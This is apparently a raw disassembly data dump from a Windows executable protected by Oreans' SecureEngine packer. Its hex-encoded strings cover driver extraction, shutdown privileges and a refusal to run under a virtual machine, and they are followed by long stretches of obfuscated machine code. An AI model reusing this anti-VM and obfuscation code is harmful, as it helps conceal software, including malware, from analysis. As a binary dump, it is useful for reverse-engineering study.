dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0)
dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0)
dd 10000000h, 0
dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 21h dup(0)
dd 8B000000h, 0A58D33C4h, 8909350Eh, 352D0D85h, 8D03F509h
dd 9350C99h, 8B66C08Bh, 0A1BD83C8h, 93526h, 0BD830975h
dd 9353079h, 50197400h, 0B8C08B53h, 43Dh, 2AC18589h, 9D8D0935h
dd 937B438h, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h
dd 43Dh, 2AC18589h, 9D8D0935h, 937B127h, 585BD3FFh, 1DF59D01h
dd 8D8B0935h, 93504D1h, 0C08BC08Bh, 26A1BD83h, 75000935h
dd 79BD8309h, 93530h, 53501374h, 0B8C08Bh, 8D000000h, 37B2DA9Dh
dd 5BD3FF09h, 79BD8358h, 93530h, 53501174h, 0B8h, 8B9D8D00h
dd 0FF0937B1h, 8B585BD3h, 0A1BD89FBh, 29093517h, 352E4985h
dd 89C08B09h, 3524259Dh, 0E9C08B09h, 12h, 0D42D738Dh, 6363A5C3h
dd 200DBB01h, 20ED1585h, 0BD83E2A5h, 93526A1h, 83097500h
dd 353079BDh, 13740009h, 0C08B5350h, 0B8h, 0C9D8D00h, 0FF0937B2h
dd 83585BD3h, 353079BDh, 11740009h, 0B85350h, 8D000000h
dd 37B1599Dh, 5BD3FF09h, 0BDBD8B58h, 2909352Fh, 35065D85h
dd 45958909h, 8B09351Ch, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 724A8475h, 2C2DBD8Bh
dd 0C08B0935h, 0BD83D08Bh, 93526A1h, 83097500h, 353079BDh
dd 13740009h, 0C08B5350h, 0B8h, 739D8D00h, 0FF0937B2h
dd 83585BD3h, 353079BDh, 11740009h, 0B85350h, 8D000000h
dd 37B1729Dh, 5BD3FF09h, 1076BF58h, 6A2DF6h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D8901C3h
dd 93527F1h, 8166C08Bh, 8B31ECC2h, 5D9D89C0h, 83093526h
dd 3526A1BDh, 9750009h, 3079BD83h, 74000935h, 8B535013h
dd 0B8C0h, 9D8D0000h, 937B1A5h, 585BD3FFh, 8BFABF0Fh, 3502E1BDh
dd 0FCC08B09h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 8D8B5FC3h, 93500C9h, 26A1BD83h
dd 75000935h, 79BD8309h, 93530h, 53501974h, 0D0B8C08Bh
dd 89000007h, 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h
dd 353079BDh, 17740009h, 0D0B85350h, 89000007h, 352AC185h
dd 279D8D09h, 0FF0937B1h, 0E9585BD3h, 9, 28FB8F8Eh, 6946BAE4h
dd 0C195BFA8h, 8D8B2AAAh, 9350E25h, 0BD33C08Bh, 93526D5h
dd 179D85C6h, 51530935h, 6859D38Bh, 99395F90h, 24F5B529h
dd 6E90935h, 89000000h, 0B471A916h, 0C9B5FF80h, 0B209350Eh
dd 98858D39h, 6A093538h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0A6F5C357h, 8BD97C35h
dd 3503F595h, 66D0FF09h, 8589FA8Bh, 9350D05h, 96CA8166h
dd 0F733BA61h, 85C61BD0h, 935179Dh, 0FA18BF57h, 6687DB3h
dd 52900452h, 2C6D8589h, 0FF5A0935h, 350EC9B5h, 3ED2BF09h
dd 858D1F00h, 9353898h, 65EC2CBFh, 66D0FF51h, 898635B9h
dd 352EB985h, 0EE909h, 5E980000h, 7E623A26h, 9F5F17B4h
dd 0BE5DC8CCh, 179D85C6h, 6A430935h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 6CFDC355h
dd 682A7DC8h, 0BC907028h, 0FFCE8B66h, 350EC9B5h, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 710C21AEh, 0F28166A1h, 858DD1D3h, 9353898h, 37DBD8Bh
dd 81660935h, 0FF427BD2h, 0CFB70FD0h, 0C818589h, 0F1810935h
dd 6DD2A3A6h, 179D85C6h, 8B4C0935h, 35248595h, 1CE96809h
dd 0BD03D9DAh, 9352D4Dh, 0FFCFC580h, 350EC9B5h, 0DBA0B909h
dd 8B537DDFh, 350F2DBDh, 858D5F09h, 9353898h, 0EE856h
dd 0B8B90000h, 257BF01Ah, 6C107479h, 0DB0F05CDh, 5A5FA2B1h
dd 0DF81D0FFh, 27B24F1Eh, 11198589h, 14E80935h, 0DF000000h
dd 0AA1C3DB5h, 15E23225h, 7C867EA4h, 0AC5FAE00h, 5AA6CE15h
dd 1BFD8589h, 85C60935h, 935179Dh, 0CBB70F46h, 0DE061468h
dd 0A7C181BAh, 0FF6C908Dh, 350EC9B5h, 0A3D18009h, 3898858Dh
dd 0D0FF0935h, 458589F8h, 6A093501h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0FA18C350h
dd 6316F3AAh, 8C0F1E8Ah, 6, 10798D8Bh, 85C60935h, 935179Dh
dd 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 49B13DC8h, 0FB45B6Dh, 68Ch, 17F78100h, 6679961Bh
dd 423BC781h, 0FB5E268h, 57006A8Ah, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0A957F6B4h, 82E5A860h
dd 0DACA8166h, 0C9B5FFEDh, 0E909350Eh, 0Dh, 736E458Ah
dd 3B5FD3C4h, 9BDEE982h, 98858D14h, 0E8093538h, 12h, 8A7F013Fh
dd 7B110D12h, 5300B754h, 0CBB785CAh, 14E9D56Dh, 0FA000000h
dd 38420937h, 4911CB6Bh, 0F841678Dh, 0D2376DADh, 5A5E826Eh
dd 0DDBFD0FFh, 666C3387h, 89FEDFB9h, 352A8585h, 85C6FC09h
dd 935179Dh, 75958B47h, 6809350Bh, 83D0B5F3h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F6C35747h, 44BE2D0Dh
dd 8E9h, 0ACAC2800h, 2FAFAED0h, 0C9B5FF29h, 8B09350Eh
dd 98858DD6h, 8A093538h, 81D0FFF7h, 232049F2h, 0CFB70F3Ch
dd 11E18589h, 0F5600935h, 61C7B70Fh, 179D85C6h, 66770935h
dd 68AB27BFh, 0F397A8A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 12C35747h, 0AA7D8B0h, 7DB5FF1Bh, 6A093505h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 9831C353h, 0F7B75156h, 3A0662F2h, 0D981D18Bh
dd 346E1E57h, 3898858Dh, 8D8B0935h, 9350A5Dh, 0F2BFD0FFh
dd 8916C8E8h, 35275985h, 0F98D8909h, 0C609351Ch, 35179D85h
dd 6A4709h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0AC5988C3h, 80CD304Fh, 0F6680DCAh, 818728FAh
dd 0B44DCEE1h, 0C9B5FF15h, 6609350Eh, 0BDA1EA81h, 3898858Dh
dd 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 601969C3h, 261D9D89h, 81660935h, 61D81DC0h
dd 0FD9950Bh, 0D0FF0935h, 0FD1BF0Fh, 68Eh, 18D2900h, 89093528h
dd 352CC585h, 0C66DB609h, 35179D85h, 820F4309h, 13h, 0EE9h
dd 64C14800h, 6047B113h, 405A6366h, 6827CEC4h, 0BC8E6EFCh
dd 28659523h, 0B5FF0935h, 9350EC9h, 8BF9BF0Fh, 350EB18Dh
dd 98858D09h, 0BF093538h, 2C2FFCDAh, 2FC58D8Bh, 0D0FF0935h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 45C35545h
dd 858501A7h, 89093527h, 35244185h, 65E28109h, 8B421B5Eh
dd 352FBDBDh, 9D85C609h, 45093517h, 69683EB5h, 0BF8E7269h
dd 5274A501h, 27458589h, 0B5FF0935h, 9350EC9h, 8A0Fh, 858D0000h
dd 9353898h, 0F39ED281h, 0D0FF5279h, 0DE9h, 33CC5800h
dd 0AA07CA65h, 0ECF4C7Eh, 89F953F2h, 351AC985h, 0F8BF0F09h
dd 179D85C6h, 89440935h, 351C79B5h, 0EC646809h, 9503B8F2h
dd 9352831h, 0EC9B5FFh, 85890935h, 9352809h, 3898858Dh
dd 8B600935h, 352389BDh, 13E909h, 0E2B60000h, 0D1DC80B1h
dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0D0FF617Fh
dd 0CF1BD8Bh, 85890935h, 935117Dh, 61606056h, 1169958Bh
dd 59610935h, 1B6D9D89h, 85C60935h, 935179Dh, 50006A43h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 6E03D5D9h, 93E90141h, 11E9h, 9E01FC00h, 5578CB04h, 34E5628Bh
dd 0FD125AC5h, 0C4BAFECEh, 682402FCh, 0C0764AA7h, 1B60B966h
dd 0EC9B5FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 1250E9C3h, 0B60C2ABh, 8DFBBF0Fh
dd 35389885h, 91B52909h, 66093510h, 0FFD797BFh, 5E8D0h
dd 9C620000h, 590BA410h, 2CE58589h, 6A0935h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7296B2C3h
dd 8F4FD11Ch, 0CA8166B2h, 0BD806170h, 938014Eh, 75840F00h
dd 29000000h, 351EBD9Dh, 30858D09h, 50093801h, 0FE9h, 0A568B100h
dd 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0B70F016Ah, 33006AC9h
dd 350BD5BDh, 89006A09h, 35052D8Dh, 8195FF09h, 0B09350Ch
dd 352F3DBDh, 0D9858909h, 0F09352Ah, 0FF6ACAB7h, 891CDA80h
dd 35249595h, 0D9B5FF09h, 5309352Ah, 0F5A5A56h, 68Bh, 21B53100h
dd 0FF09350Ah, 352EB995h, 0FB8B6609h, 8B66C08Bh, 0A1BD83CEh
dd 93526h, 0BD830975h, 9353079h, 50197400h, 0B8C08B53h
dd 7D1h, 2AC18589h, 9D8D0935h, 937B438h, 585BD3FFh, 3079BD83h
dd 74000935h, 0B8535017h, 7D1h, 2AC18589h, 9D8D0935h, 937B127h
dd 585BD3FFh, 9531D18Bh, 9352981h, 9589C08Bh, 9352C6Dh
dd 179D85C6h, 68470935h, 93C8F7C1h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 43C35141h, 3496F00h, 0B5FFA8B5h
dd 9350EC9h, 858DF78Ah, 9353898h, 0B959D89h, 0D0FF0935h
dd 6A50F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 8960A8C3h, 352FBD9Dh, 8961F909h, 3523B99Dh
dd 71858D09h, 0E9093805h, 8, 0A54E331Fh, 43F45940h, 9400C7h
dd 8D8B0000h, 9352C6Dh, 0D7816658h, 0B58DA33Ah, 9380571h
dd 5658589h, 1560935h, 350811BDh, 8BD0FF09h, 3500758Dh
dd 71858D09h, 6A093805h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 52F5C355h, 0BEE781E6h
dd 83584457h, 0F060478h, 2F85h, 13E95700h, 0EC000000h
dd 0FBA50BDDh, 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 815AD1B6h
dd 9753E7D9h, 585C73Dh, 1093806h, 0BA000000h, 221DBD61h
dd 1189BD83h, 0F000935h, 6D85h, 0B98D8900h, 0E9093512h
dd 12h, 4BF87FBFh, 2495CB1Fh, 95DA318Fh, 36B301Dh, 0BD836D24h
dd 9380605h, 43850F00h, 0F000000h, 0BD83F9B7h, 9350539h
dd 33840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 80E2C355h, 0FE8B4ECAh
dd 85C7D18Bh, 9350021h, 0
dd 0E418501h, 8C660935h, 9E9FCDBh, 3D000000h, 213E4135h
dd 22706DBCh, 0F04C3F6h, 4C684h, 7E900h, 0D4150000h, 4A2EF20Bh
dd 1985C7C4h, 9351Ch, 23000000h, 3525EDBDh, 80FA8B09h
dd 38015BBDh, 850F0009h, 0Ah, 3D850960h, 8B09350Bh, 85C661F3h
dd 935179Dh, 6E86047h, 8E000000h, 5C4CA5C2h, 585B5233h
dd 2419958Bh, 68610935h, 0E3E45B86h, 0B0DAEA81h, 0B5FF2C63h
dd 9350EC9h, 966CE781h, 858D0DB1h, 9353898h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 1AE1818Bh
dd 0FF76045Fh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0A86DC4F5h, 0DE9C8h, 9D850000h
dd 613DF831h, 36EBAFEAh, 666570A6h, 3E7DF81h, 0FE956h
dd 8FED0000h, 0AF4CDE60h, 722809FDh, 0BA5CC5CEh, 4685F0Eh
dd 8B000001h, 35272D8Dh, 0D99D8D09h, 89093512h, 35235DBDh
dd 74BF5309h, 0FF0AA5CCh, 0B19589D0h, 8D09352Dh, 3512D985h
dd 0A99D8909h, 50093527h, 0D858DFCh, 0B1093801h, 8B605078h
dd 35005D85h, 0CAB96109h, 8D025499h, 37F7E085h, 9E85009h
dd 76000000h, 0DABA5001h, 129C4440h, 0CABF0F53h, 8A0F5A59h
dd 6, 2BC5950Bh, 95FF0935h, 9352759h, 12D5952Bh, 0C4830935h
dd 0C8B70F0Ch, 8068006Ah, 6A000000h, 6A006A03h, 6800h
dd 858D8000h, 937F7E0h, 4195FF50h, 89093524h, 3800F085h
dd 9D85C609h, 47093517h, 0B15E8768h, 0C9B5FFC7h, 8D09350Eh
dd 35389885h, 6AD0FF09h, 0F0B5FF00h, 0FF093800h, 880FF9D0h
dd 13h, 5E860h, 2ABA0000h, 5A93C264h, 50F8E081h, 3D615CE8h
dd 37D0h, 46830Fh, 0BD8B0000h, 9350329h, 0F0B5FFh, 0CA8B0938h
dd 2CE595FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 104F0CC3h, 0C75646B1h, 8BAC51FDh
dd 0C6E9D7h, 958B0000h, 9352F25h, 0F0B5FFh, 6A0938h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0FB5F93C3h, 6D1958Bh, 12E90935h, 38000000h, 2849F27Ch
dd 0AB2ED5B2h, 0C1EE25DEh, 0D7E8DA52h, 0E595FFE9h, 6609352Ch
dd 6AD268BFh, 9D895200h, 935003Dh, 8B006A5Ah, 99958BCEh
dd 6A09350Dh, 880F6000h, 2, 0BD015B50h, 9351F15h, 19BD0161h
dd 6A093524h, 6A60B200h, 0BDB53100h, 8109352Fh, 57E9C4DFh
dd 8B006A0Ch, 352EB195h, 0F4858D09h, 89093800h, 351611B5h
dd 2EDF8109h, 50702FD2h, 2239958Bh, 95FF0935h, 9352441h
dd 0F883CE8Bh, 39850FFFh, 66000001h, 7AED181h, 0BC80858Dh
dd 0CB8B0937h, 5BB1D0FFh, 7FCF8166h, 89006AB2h, 3504718Dh
dd 2890F09h, 8B000000h, 23006ACAh, 3507ED8Dh, 8B006A09h
dd 3513E195h, 51006A09h, 1EA5BD89h, 0E95F0935h, 11h, 48201A48h
dd 3A9EFF1Eh, 46BCE42Ah, 0C57D058Bh, 0E9006A09h, 11h, 23857E15h
dd 1503AA6Ah, 0F3275EFBh, 0C82D1F9Dh, 0F58D8934h, 6A09351Ch
dd 0AE900h, 7FA00000h, 6156E8D3h, 8AE8F74Dh, 0F4858Dh
dd 8B660938h, 958B50D1h, 93505DDh, 244195FFh, 6A0935h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 245D9EC3h, 471BC5D7h, 0BF66893Ah, 8166C7E9h, 83FD97D9h
dd 850FFFF8h, 68h, 8DD1B70Fh, 37FAFCB5h, 5800F09h, 66000000h
dd 6C91D781h, 0A719858Dh, 0BA600937h, 77EA2F6Dh, 61C9B70Fh
dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0D5784BC3h, 7F1994DCh, 0F9B3852h, 687h, 0E1BD8B00h
dd 6A093528h, 0A1B96600h, 0C995FF46h, 6609351Ah, 1AB3C281h
dd 0F08589h, 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 6939EBC3h, 8D8BB969h, 9352685h
dd 8D8B006Ah, 9350649h, 0E8858Dh, 0BD8B0938h, 9350065h
dd 4CBB950h, 46A2CFCh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0A5C35040h, 47231031h, 8D0512F2h, 350C0585h
dd 8D8B5009h, 9351689h, 820F006Ah, 3, 81CB8B66h, 0F48A7CF1h
dd 0F006A58h, 58Ah, 0F70EB900h, 16A769Fh, 469D781h, 0B5FF2E30h
dd 93800F0h, 91B3BF66h, 117D95FFh, 16BA0935h, 0E94B449Ah
dd 1BBFh, 8BCB8B66h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0A9C107C7h, 0B86660BAh
dd 8D0B4BD4h, 935228Dh, 0A1BD8361h, 93526h, 0BD830975h
dd 9353079h, 50197400h, 0B8C08B53h, 7D2h, 2AC18589h, 9D8D0935h
dd 937B438h, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h
dd 7D2h, 2AC18589h, 9D8D0935h, 937B127h, 585BD3FFh, 1B39950Bh
dd 0D7B60935h, 85C7C08Bh, 9351C19h, 1, 0B8682AB1h, 0FFCEE4E7h
dd 352621B5h, 98858D09h, 0FF093538h, 8D8589D0h, 68093506h
dd 0C005DBD4h, 2621B5FFh, 858D0935h, 9353898h, 8589D0FFh
dd 9351EFDh, 0F599858Dh, 0FF500937h, 350EC9B5h, 8595FF09h
dd 0B09352Ah, 8B0B74C0h, 4C858DD8h, 50093805h, 858DD3FFh
dd 938054Ch, 9388366h, 85C70A75h, 93523CDh, 1, 2CC595FFh
dd 0FF250935h, 83000000h, 0A7305F8h, 69585C7h, 10935h
dd 95330000h, 9350F1Dh, 6007C280h, 0FD38C781h, 8E86796h
dd 9D000000h, 380D630Fh, 5ED4BF5Ch, 5BBD8061h, 93801h
dd 1A850Fh, 0F8600000h, 0D18061FCh, 1A71E9A8h, 9E90000h
dd 0B7000000h, 0E082D050h, 3028879Ah, 23CDBD83h, 0F000935h
dd 13385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 25858D5Bh, 66093801h, 50CDC2B9h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1EC35141h
dd 8A8AFFAAh, 0A98D8BD7h, 6A093522h, 0CFCD8001h, 8160006Ah
dd 0B43B56E7h, 0B9858B78h, 6109352Ch, 8960006Ah, 3526E585h
dd 8E809h, 90890000h, 27FAFF5Ah, 0B509712Fh, 9352EE5h
dd 95FF6158h, 9350C81h, 1AFDB589h, 85890935h, 938014Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 59C35343h
dd 0ECDBD8Bh, 0FF6A0935h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 47C35343h, 6159D89h, 0B5FF0935h, 938014Fh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h
dd 0CFA4840Fh, 61958BD6h, 0FF09351Dh, 352EB995h, 55006A09h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 6B661813h, 958B3CA9h, 935051Dh, 0F560858Dh, 0BD890937h
dd 9351115h, 8E950h, 0EE2C0000h, 42086EAh, 95FF66E5h, 9351119h
dd 21D5BD8Bh, 85890935h, 937F5EAh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 41C35141h, 1275159Dh, 7181579Eh
dd 12E9h, 83A89E00h, 307459C0h, 855732F8h, 0DBB8B0B2h
dd 8A9C1FC6h, 6D858DEAh, 0F90937F5h, 0B5FFF850h, 937F5EAh
dd 64485CBAh, 0CA816061h
dd 68D81F79h, 51B8E8BAh, 95FF610Ah, 9352A85h, 2F598589h
dd 858D0935h, 937F5DBh, 0F50CB8Bh, 0EA80C8BFh, 0EAB5FF98h
dd 0F0937F5h, 684h, 0B18D8900h, 0FF093512h, 352A8595h
dd 0CE8B6609h, 0F5FE8589h, 8DF50937h, 37F5BA85h, 51006A09h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0ACF80A72h, 93EA5DDCh, 6880F0Dh, 2B000000h, 351B8D8Dh
dd 8D8B5009h, 9352BBDh, 0AC19D31h, 0B5FF0935h, 937F5EAh
dd 0FE9h, 0E1BB6500h, 7B77AD4Ah, 62834242h, 1D63DFADh
dd 2A8595FFh, 0F560935h, 0B80h, 6E900h, 449E0000h, 0A7F19862h
dd 3D8D0B5Ah, 89093505h, 37F5F685h, 858DF909h, 937F5ADh
dd 1519589h, 66500935h, 0FF5C85B9h, 37F5EAB5h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 870CAF75h, 0BDB1C93Ah, 8595FFF2h, 5009352Ah, 2DC9958Bh
dd 665F0935h, 7717DF81h, 0F5FA8589h, 81660937h, 8D367CE1h
dd 37F5C885h, 0D0B70F09h, 24519D29h, 0FC500935h, 0F5EAB5FFh
dd 0B70F0937h, 8595FFCFh, 8A09352Ah, 718589ECh, 6609352Ch
dd 8D5BA7BFh, 37F57C85h, 5FF95209h, 8AF18150h, 80563648h
dd 0B5FFD3D1h, 937F5EAh, 85D8589h, 95FF0935h, 9352A85h
dd 5598D8Bh, 85890935h, 937F5EEh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 6AC35343h, 8DDB989Ch, 37F58B85h
dd 0C9BD8909h, 5009350Dh, 0FFA0E680h, 37F5EAB5h, 0BCBF6609h
dd 8595FF54h, 8B09352Ah, 352D9DBDh, 0F2858909h, 6A0937F5h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0EEDBC357h, 0CA2FBADFh, 63A2B9D9h, 4686CB4h
dd 0F000001h, 858DCAB7h, 937F682h, 68A0Fh, 0BD010000h
dd 9350425h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 748CE43Ah, 86703185h, 86858D0Eh
dd 890937F7h, 35247985h, 6890F09h, 89000000h, 3531EDB5h
dd 60605009h, 4C98D09h, 0EC8A0935h, 25BD8B61h, 6109352Fh
dd 11E195FFh, 870F0935h, 3, 85FDE280h, 2850FC0h, 0B5000000h
dd 5BBD80E4h, 93801h, 1D850Fh, 9E80000h, 0D7000000h, 94557335h
dd 6F3806D0h, 5ACB8B66h, 160AE9h, 8D8D8900h, 83093512h
dd 3523CDBDh, 850F0009h, 2Eh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 54C35242h, 0E45DDE53h, 5BD8399h
dd 93806h, 4D840Fh, 858D0000h, 937F61Fh, 95896050h, 9351169h
dd 0A498589h, 5F610935h, 15AEE9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 958B45A1h
dd 93511E5h, 1CE9h, 5E900h, 0B44F0000h, 8D6BA8B6h, 37F60A85h
dd 5D858909h, 89093525h, 352CADBDh, 6A5009h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 986529C3h
dd 0FD50DA2Ah, 0F316CB4h, 682h, 0A18D8B00h, 8B093530h
dd 3511798Dh, 82858D09h, 0F0937F6h, 8050FBB7h, 0BD83B2C5h
dd 93523CDh, 18840F00h, 0F000000h, 858DD0B7h, 937F7A8h
dd 0D8FABA66h, 12E9h, 0ADBD2900h, 8D093504h, 37F79185h
dd 5D8D2909h, 5009352Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 0CCC35343h, 0E0858DB4h, 810937F7h, 41C272D7h
dd 6A5021h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 8EB1E8C3h, 0BF0FD3F2h, 5995FFD2h, 0F093527h
dd 1388h, 0AE800h, 0EC3D0000h, 0C402DAh, 0FF662426h, 5AC9BF0Fh
dd 6610C483h, 0C08BD08Bh, 26A1BD83h, 75000935h, 79BD8309h
dd 93530h, 53501974h, 0D3B8C08Bh, 89000007h, 352AC185h
dd 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h
dd 0D3B85350h, 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h
dd 31585BD3h, 35275DB5h, 4850F09h, 66000000h, 8B1571BAh
dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0E6904A4h, 18D02664h, 68F0Fh, 958B0000h
dd 9350455h, 0F60ABD81h, 726F0937h, 840F6165h, 0B3h, 0F682858Dh
dd 8D500937h, 37F7BF85h, 858D5009h, 937F7E0h, 5995FF50h
dd 83093527h, 85C60CC4h, 935179Dh, 184F6844h, 0B5FF96A3h
dd 9350EC9h, 3898858Dh, 0D0FF0935h, 858DD88Bh, 937F7E0h
dd 8DD3FF50h, 37F60A85h, 858D5009h, 937F682h, 0CDBD8350h
dd 93523h, 858D0874h, 937F7A8h, 858D06EBh, 937F791h, 0E0858D50h
dd 500937F7h, 275995FFh, 0C4830935h, 56006A10h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 8E698402h
dd 607A8D5Ah, 619D3160h, 0F093526h, 0F61F7B7h, 58Fh, 0BCE3B800h
dd 0FF61616Ch, 352CC595h, 55006A09h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 280E652Fh
dd 0FF25FCF5h, 80000000h, 0F883BEE5h, 73830F05h, 0F000000h
dd 68Eh, 91958B00h, 0C7093503h, 35069585h, 109h, 818D0100h
